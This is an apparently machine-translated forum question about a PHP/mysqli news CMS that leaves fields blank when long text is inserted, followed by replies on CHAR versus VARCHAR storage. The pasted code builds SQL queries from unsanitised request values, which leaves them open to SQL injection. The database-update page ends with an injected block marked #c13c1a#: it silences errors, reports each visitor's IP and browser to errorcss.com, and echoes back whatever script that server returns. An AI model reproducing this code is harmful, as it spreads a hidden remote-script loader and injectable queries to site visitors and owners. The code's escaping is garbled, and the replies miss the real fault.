因此，首先我将介绍一些背景知识。我有一家公司的CMS，他们用它来更新网站上的新闻文章和图片。它是用php编写的，并使用msqli进行数据库操作。
出于某种原因，每当他们试图添加长度为（约4000）个字符的文本时，它都无法正确插入表中，并将字段留空。当更新现有的新闻文章时，也会发生这种情况，一旦添加了大量文本，整个链接就会被删除，并且字段为空。
代码：-
用户添加文本的页面：
<body>
<div id="container">
<div id="header">
</div>
<?php include('includes/Nav.php')?>
<div id="contentcontainer">
<div id="contentleft">
<ul>
<?php
if(isset($_SESSION["myusername"]))
{
echo "<li>Welcome ".$_SESSION["myusername"]."!</li>";
echo "<a href='"pages.php?pid=0'"><li>Add News</u></li></a>";
echo "<a href='"pages.php?pid=-1'"><li>Add News Via Image</u></li></a>";
echo "<a href='"pages.php?pid=-2'"><li>Add News Via Table</u></li></a>";
}
else
{
echo "</ul><li>Please Login using the form to your right.</li>";
}
?>
</ul>
</div>
<div id="contentright">
<?php
$con = mysqli_connect($sqlhost,$sqlusername,$sqlpassword);
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
mysqli_select_db($con, $sqldatabase);
if(isset($_GET["pid"]))
{
//SQL TO GRAB PID
if($_GET["pid"]==0)
{
//ADD A PAGE SCREEN
echo "<h2>Add News</h2>";
echo "<form action='"addpage.php'" method='"POST'"><p><label>Title:</label><input type='"text'" name='"title'"/><br/>";
echo "<label>Description (For left hand News Panel):</label><input type='"text'" name='"desc'"/><br/>";
echo "<label>Page Content (HTML is allowed):</label>";
echo <<<END
<textarea id='content' name='content'></textarea>
<script language="Javascript" type="text/javascript">
$("#content").css("height","100%").css("width","100%").htmlbox({
toolbars:[
[
// Cut, Copy, Paste
"separator","cut","copy","paste",
// Undo, Redo
"separator","undo","redo",
// Bold, Italic, Underline, Strikethrough, Sup, Sub
"separator","bold","italic","underline","strike","sup","sub",
// Left, Right, Center, Justify
"separator","justify","left","center","right",
// Ordered List, Unordered List, Indent, Outdent
"separator","ol","ul","indent","outdent",
// Hyperlink, Remove Hyperlink, Image
"separator","link","unlink","image"
],
[// Show code
"separator","code",
// Formats, Font size, Font family, Font color, Font, Background
"separator","formats","fontsize","fontfamily",
"separator","fontcolor","highlight",
],
[
//Strip tags
"separator","removeformat","striptags","hr","paragraph",
// Styles, Source code syntax buttons
"separator","quote","styles","syntax"
]
],
skin:"blue"
});
</script>
END;
echo "<label>Show on Recent News?:</label><input type='"checkbox'" name='"nav'" value='"nav'" /><br />";
echo "<label>Category:</label><select name='"Category'">";
echo "<option value='"Pool'">Pool</option>";
echo "<option value='"Snooker'">Snooker</option>";
echo "<option value='"Poker'">Poker</option>";
echo "<option value='"Darts'">Darts</option>";
echo "<option value='"Events'">Events</option>";
echo "</select><br/>";
echo "<input type='"submit'" value='"Add News'"/></p>";
echo "</form>";
}
else if($_GET["pid"]==-1)
{
//ADD NEWS VIA IMAGE SCREEN
echo "<h2>Add News Via Image</h2>";
echo "<form action='"addpage.php'" method='"POST'"><p><label>Title:</label><input type='"text'" name='"title'"/><br/>";
echo "<label>Description (For left hand News Panel):</label><input type='"text'" name='"desc'"/><br/>";
echo "<label>Image:</label><select name='"NewsImage'">";
$resultc = mysqli_query($con, "SELECT * FROM pb_images");
while($rowc = mysqli_fetch_array($resultc))
{
echo "<option value='"".$rowc['Image']."'">".$rowc['Name']."</option>";
}
echo "</select><br/>";
echo "<label>Show on Recent News?:</label><input type='"checkbox'" name='"nav'" value='"nav'" /><br />";
echo "<label>Category:</label><select name='"Category'">";
echo "<option value='"Pool'">Pool</option>";
echo "<option value='"Snooker'">Snooker</option>";
echo "<option value='"Poker'">Poker</option>";
echo "<option value='"Darts'">Darts</option>";
echo "<option value='"Events'">Events</option>";
echo "</select><br/>";
echo "<input type='"submit'" value='"Add News'"/></p>";
echo "</form>";
}
else if($_GET["pid"]==-2)
{
//ADD NEWS VIA TABLE SCREEN
echo "<h2>Add News Via Table</h2>";
echo "<form action='"addpage.php'" method='"POST'" enctype='"multipart/form-data'"><p><label>Title:</label><input type='"text'" name='"title'"/><br/>";
echo "<label>Description (For right hand News Panel):</label><input type='"text'" name='"desc'"/><br/>";
echo "<label>Table HTML File:</label><input type='"file'" name='"file'" id='"file'" /> ";
echo "<label>Show on Recent News?:</label><input type='"checkbox'" name='"nav'" value='"nav'" /><br />";
echo "<label>Category:</label><select name='"Category'">";
echo "<option value='"Pool'">Pool</option>";
echo "<option value='"Snooker'">Snooker</option>";
echo "<option value='"Poker'">Poker</option>";
echo "<option value='"Darts'">Darts</option>";
echo "<option value='"Events'">Events</option>";
echo "</select><br/>";
echo "<input type='"submit'" value='"Add News'"/></p>";
echo "</form>";
}
else
{
//Edit a page
echo "<h2>Edit News</h2>";
//SQL GRAB PAGE CONTENT
$result = mysqli_query($con, "SELECT * FROM pb_pages WHERE ID='".$_GET['pid']."'");
echo "<form action='"editpage.php'" method='"POST'"><p>";
while($row = mysqli_fetch_array($result))
{
echo "<input type='"hidden'" id='"pid'" name='"pid'" value='"".$_GET['pid']."'" />";
echo "<label>Title:</label><input type='"text'" name='"title'" value='"".$row['Name']."'"/><br/>";
echo "<label>Description (Just for CMS):</label><input type='"text'" name='"description'" value='"".$row['Description']."'"/><br/>";
echo "<label>Page Content (HTML is allowed):</label><TEXTAREA NAME='"content'" COLS=40 ROWS=12>".$row['Content']."</TEXTAREA><br/>";
echo "<label>Show on Navigation?:</label><input type='"checkbox'" name='"nav'" value='"nav'" ";
if($row['ShowNav']==1) echo " checked";
echo "/><br />";
echo "<label>Category:</label><select name='"Category'">";
if($row['Category']!="Index")
{
echo "<option value='"Pool'">Pool</option>";
echo "<option value='"Snooker'">Snooker</option>";
echo "<option value='"Poker'">Poker</option>";
echo "<option value='"Darts'">Darts</option>";
echo "<option value='"Events'">Events</option>";
}
else
{
echo "<option value='"Index'">Index</option>";
}
echo "</select><br/>";
}
echo "<input type='"submit'" value='"Edit News'"/>";
echo "</form>";
}
}
else
{
echo "Below are a choice of editable news stories. Please choose one:<ul>";
$con = mysqli_connect($sqlhost,$sqlusername,$sqlpassword);
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
mysqli_select_db($con, $sqldatabase);
$result = mysqli_query($con, "SELECT * FROM pb_pages");
if (!$result) {
printf("Error: %s'n", mysqli_error($con));
exit();
}
while($row = mysqli_fetch_array($result))
{
echo "<li style='"margin-bottom:0px;'"><a href='"pages.php?pid=".$row['ID']."'">".$row['Name']."</a> <a href='"deletepage.php?iid=".$row['ID']."'"><img src='"images/cross.png'" alt='"cross'"/></a></li>";
}
}
?>
</div>
</div>
<div id="footer">
Redesigned by Callum Howard of CDS-KAS
</div>
</body>
数据库更新页面：
<?php
include('includes/variables.php');
$con = mysqli_connect($sqlhost,$sqlusername,$sqlpassword);
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
$nav=0;
if(isset($_POST['nav'])&&$_POST['nav']=="nav") $nav=1;
mysqli_select_db($con, $sqldatabase);
if(!isset($_POST['content']))
{
if(isset($_POST['NewsImage']))
{
mysqli_query($con, "INSERT INTO pb_pages (Name, Description, Content, ShowNav, Category)
VALUES ('".$_POST['title']."', '".$_POST['desc']."', '<img src='"cms/images/".$_POST['NewsImage']."'" alt='"Image'"/>','".$nav."','".$_POST['Category']."')");
}
else if(isset($_POST['file']))
{
$fh = fopen($_POST['file'], 'r');
$theData = fread($fh, filesize($myFile));
fclose($fh);
$page = $theData;
$stylefirst = strpos($page, ".xl");
$stylelast = strpos($page, "-->");
$blah = substr($page, $stylefirst, $stylelast-$stylefirst);
while(strpos($blah, "border") != false)
{
$first = strpos($blah, "border");
$last = strpos($blah, ";", $first);
$before = substr($blah, 0, $first);
$after = substr($blah, $last+1);
$blah = $before.$after;
}
$tablefirst = strpos($page, "<table");
$tablelast = strpos($page, "</table>");
$table = substr($page, $tablefirst, $tablelast-$tablefirst);
mysqli_query($con, "INSERT INTO pb_styles (Style)
VALUES ('".$style."')");
mysqli_query($con, "INSERT INTO pb_pages (Name, Description, Content, ShowNav, Category)
VALUES ('".$_POST['title']."', '".$_POST['desc']."', '".htmlentities($table, ENT_QUOTES)."','".$nav."','".$_POST['Category']."')");
}
}
else
{
if(mysqli_query($con, "INSERT INTO pb_pages (Name, Description, Content, ShowNav, Category)
VALUES ('".$_POST['title']."', '".$_POST['desc']."', '".htmlentities($_POST['content'], ENT_QUOTES)."','".$nav."','".$_POST['Category']."')"))
{
echo "YAY";
}
else echo "Boo..";
}
//header("location:pages.php");
?>
<?php
#c13c1a#
error_reporting(0); ini_set('display_errors',0); $wp_hdvw34 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_hdvw34) && !preg_match ('/bot/i', $wp_hdvw34))){
$wp_hdvw0934="http://"."error"."css".".com/css"."/? ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=" .urlencode($wp_hdvw34);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_hdvw0934);
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_34hdvw = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_34hdvw,1,3) === 'scr' ){ echo $wp_34hdvw; }
#/c13c1a#
?>
我可以进入phpMyAdmin，从那里直接更新数据库，非常好，它会在网页上正确显示。该字段设置为varchar（10000）。
请帮忙！
hi也许你可以检查你的表，在那里插入或更新4000个字符的
MySQL会做得很好，就像大多数RDBMS一样。当您将字段指定为类型CHAR（）时，无论字符串中有多少字符，都将始终使用字符数。例如：如果您有Char（64）字段，并插入"ABCD"，则该字段仍然是64字节（假定为非unicode）。
然而，当使用VARCHAR（）时，单元格只使用字符串中的字节数，加上存储字符串大小所需的字节数。所以：如果你有VARCHAR（64）并插入"ABCD"，你将只使用5个字节。4表示字符"ABCD"，1表示字符数"4"。
您的字符串长度千差万别正是我们使用VARCHAR（）的原因，所以请放心使用VARCHAR（4500），并且您只会使用尽可能多的空间来存储字符串中的字符，并且长度会有一点额外。
有些相关：这就是为什么对没有插入可变长度字符串的字段使用VARCHAR（）不是一个好主意。当字符串的大小已知时，存储它是在浪费空间。例如，x-xxx-xxx-xxxx形式的电话号码应该只使用Char（14），因为它总是占用14个字符，并且只需要14个字节。如果您使用VARCHAR（14），那么实际上您最终将使用15个字节。
查看有关此的文档
http://dev.mysql.com/doc/refman/5.0/en/char.html
我认为你的问题出在你的数据库或表上。。祝你好运，试试看也许你可以分享一张结构表的图片和代码来帮助你